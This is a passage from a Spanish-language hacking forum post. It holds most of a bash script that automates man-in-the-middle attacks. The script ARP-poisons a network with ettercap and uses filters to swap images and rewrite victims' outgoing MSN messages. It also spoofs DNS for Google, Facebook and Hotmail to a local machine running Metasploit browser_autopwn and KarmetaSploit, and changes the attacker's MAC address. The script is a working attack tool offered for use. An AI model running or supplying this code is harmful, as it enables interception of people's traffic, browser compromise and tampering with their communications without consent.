xterm -e etterfilter mitm.filter -o imagen.ef &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
rm mitm.filter
mv mitm.filtere mitm.filter
echo "Iniciando ataque..."
xterm -hold -e ettercap -i $interface -T -q -F imagen.ef -M ARP /$penlaces/ // &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
otros_a;
}
apfalsa_autopwn () {
echo "------------------------------------------------"
echo "Iniciar browser_autopwn"
echo "------------------------------------------------"
echo ""
sleep 1
echo "Configurando etter.dns para redireccionar el"
echo "tráfico a KarmetaSploit"
echo ""
echo "Por defecto se configurará para redireccionar en"
echo "el caso que la víctima se conecte tanto a:"
echo "Google"
echo "Facebook"
echo "Hotmail"
echo "------------------------------------------------"
echo ""
sleep 2
mv /usr/share/ettercap/etter.dns /usr/share/ettercap/etter1.dns
echo "*.google.es A 192.168.2.129" > /usr/share/ettercap/etter.dns
echo "*.facebook.es A 192.168.2.129" >> /usr/share/ettercap/etter.dns
echo "*.google.com A 192.168.2.129" >> /usr/share/ettercap/etter.dns
echo "*.facebook.com A 192.168.2.129" >> /usr/share/ettercap/etter.dns
echo "*.hotmail.com A 192.168.2.129" >> /usr/share/ettercap/etter.dns
echo "*.hotmail.es A 192.168.2.129" >> /usr/share/ettercap/etter.dns
echo "Creando regla iptables para at0"
echo ""
sudo iptables -t nat -A PREROUTING -i at0 -j REDIRECT
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "Iniciando ettercap para redirigir tráfico..."
xterm -e ettercap -q -T -M arp -P dns_spoof /192.168.2.129/ -n 255.255.255.128 &
echo ""
sleep 2
echo "------------------------------------------------"
echo "Iniciando Metasploit..."
echo ""
echo "$info\nLaunching browser_autopwn..."
xterm -e msfconsole -r br_autopwn.rc
sleep 3
echo "------------------------------------------------"
echo ""
echo "Eliminando configuración creada en etter.dns"
sudo rm /usr/share/ettercap/etter.dns
sudo mv /usr/share/ettercap/etter1.dns /usr/share/ettercap/etter.dns
otros_a;
}
apfalsa_karma () {
clear
echo "------------------------------------------------"
echo "Iniciar KarmetaSploit"
echo "------------------------------------------------"
echo ""
sleep 1
echo "Configurando etter.dns para redireccionar el"
echo "tráfico a KarmetaSploit"
echo ""
echo "Por defecto se configurará para redireccionar en"
echo "el caso que la víctima se conecte tanto a:"
echo "Google"
echo "Facebook"
echo "Hotmail"
echo "------------------------------------------------"
echo ""
sleep 2
mv /usr/share/ettercap/etter.dns /usr/share/ettercap/etter1.dns
echo "*.google.es A 192.168.2.129" > /usr/share/ettercap/etter.dns
echo "*.facebook.es A 192.168.2.129" >> /usr/share/ettercap/etter.dns
echo "*.google.com A 192.168.2.129" >> /usr/share/ettercap/etter.dns
echo "*.facebook.com A 192.168.2.129" >> /usr/share/ettercap/etter.dns
echo "*.hotmail.com A 192.168.2.129" >> /usr/share/ettercap/etter.dns
echo "*.hotmail.es A 192.168.2.129" >> /usr/share/ettercap/etter.dns
echo "Iniciando ettercap para redirigir tráfico..."
xterm -e ettercap -q -T -M arp -P dns_spoof /192.168.2.129/ -n 255.255.255.128 &
echo ""
sleep 2
echo "------------------------------------------------"
echo "Iniciando Metasploit..."
echo ""
xterm -e msfconsole -r karma.rc
sleep 3
echo "------------------------------------------------"
echo ""
echo "Eliminando configuración creada en etter.dns"
sudo rm /usr/share/ettercap/etter.dns
sudo mv /usr/share/ettercap/etter1.dns /usr/share/ettercap/etter.dns
otros_a;
}
camb_msn () {
clear
echo "------------------------------------------------"
echo "Cambiar los mensajes salientes de msn"
echo "------------------------------------------------"
sleep 1
echo ""
echo "Indica primero qué palabra quieres cambiar"
echo "Ej: hola"
echo "------------------------------------------------"
convfalsa=$(zenity --entry \
--title="Creando filtro ettercap .:MITM:." \
--text="Indica primero qué palabra quieres cambiar" \
)
cp mitmsg.filter mitmsg.filter1
xterm -e sudo sed -ie 's/beso/'$convfalsa'/g' mitmsg.filter &
echo ""
rm mitmsg.filtere
echo "Indica la palabra que sustituirá a la anterior"
echo "Ej: perra"
echo "------------------------------------------------"
convfalsa1=$(zenity --entry \
--title="Creando filtro ettercap .:MITM:." \
--text="Indica la palabra que sustituirá a la anterior" \
)
xterm -e sudo sed -ie 's/kaka/'$convfalsa1'/g' mitmsg.filter &
rm mitmsg.filtere
sleep 1
echo "Creando el filtro..."
xterm -e etterfilter mitmsg.filter -o msg.ef &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
rm mitmsg.filter
mv mitmsg.filter1 mitm.filter
echo "Iniciando ataque..."
xterm -hold -e ettercap -i $interface -T -q -F msg.ef -M ARP /$penlaces/ // &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
otros_a;
}
salida_x () {
clear
sleep 2
echo "Desactivando ip_forward"
xterm -e echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 2
echo ""
echo "Eliminando posibles filtros creados"
echo ""
nohup rm imagen.ef
nohup rm msg.ef
nohup rm mitm.filter
nohup rm mitmsg.filter
echo ""
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 2
echo ""
echo "Configurando etter.conf"
xterm -e sudo sed -ie 's/redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"/#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"/g' /etc/etter.conf &
xterm -e sudo sed -ie 's/redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"/#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"/g' /etc/etter.conf &
echo ""
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 2
echo ""
echo "Eliminando configuración de dhcp"
nohup sudo rm /etc/dhcp3/dhcpd.conf
echo ""
a=$(nohup ls /etc/dhcp/dhcpdoriginal.conf)
if [ "$a" = "/etc/dhcp/dhcpdoriginal.conf" ];  then
nohup sudo rm /etc/dhcp/dhcpd.conf
nohup sudo mv /etc/dhcp/dhcpdoriginal.conf /etc/dhcpd.conf
nohup sudo rm /etc/default/dhcp3-server
else
echo ""
fi
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "Eliminando archivo karma.rc"
nohup sudo rm karma.rc
echo ""
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "Eliminando archivo br_autopwn.rc"
nohup sudo rm br_autopwn.rc
echo ""
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 2
compromac=$(macchanger -s  | grep 'Permanent MAC:' | cut --characters=16-32)
if [ "$mimac" != "$compromac" ]; then
echo ""
echo "Desconfigurando dirección mac de:"
echo "$interface"
echo ""
sudo ifconfig $interface down
sudo macchanger -m $mimac $interface
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
else
echo ""
fi
pararintmon=$(ifconfig $interfacemon)
if [ "$pararintmon" = "$mimac: error al obtener información sobre la interfaz: Dispositivo no encontrado"]; then
echo ""
else
echo ""
echo "Deshabilitando $interfacemon"
ifconfig $interfacemon down
ifconfig $interface down
airmon-ng stop $interfacemon
airmon-ng stop $interface
ifconfig $interface up
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
fi
echo ""
echo "Eliminando configuraciones"
echo ""
nohup sudo rm aqqle.rc
rm nohup.out
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 2
echo ""
clear
}
while [ $quit != "yes" ]
do
clear
mimac=$(sudo macchanger -s $interface | grep 'Permanent MAC:' | cut --characters=16-32)
aqq=$(cat aqqle.rc)
if [ "$aqq"  = "Configurado" ]; then
menu_aqqle;
else
configuracion_todo;
fi
done
« Última modificación: 3 Julio 2013, 13:07 pm por aqqle » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
anti fake player/botnet/fake bot 2011 cs 1.6
Juegos y Consolas
el_infector 0 4,589 Último mensaje 23 Mayo 2011, 19:01 pm
por el_infector
MITM
Redes
Pirat3net 7 5,643 Último mensaje 26 Julio 2011, 04:08 am
por Pirat3net
MiTM en LAN
Hacking
Sn0w 4 4,187 Último mensaje 13 Octubre 2012, 02:34 am
por Milo_EscorpioNN
Script automatizado para ataque MITM
Hacking
aqqle 3 5,826 Último mensaje 25 Abril 2013, 10:42 am
por aqqle
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines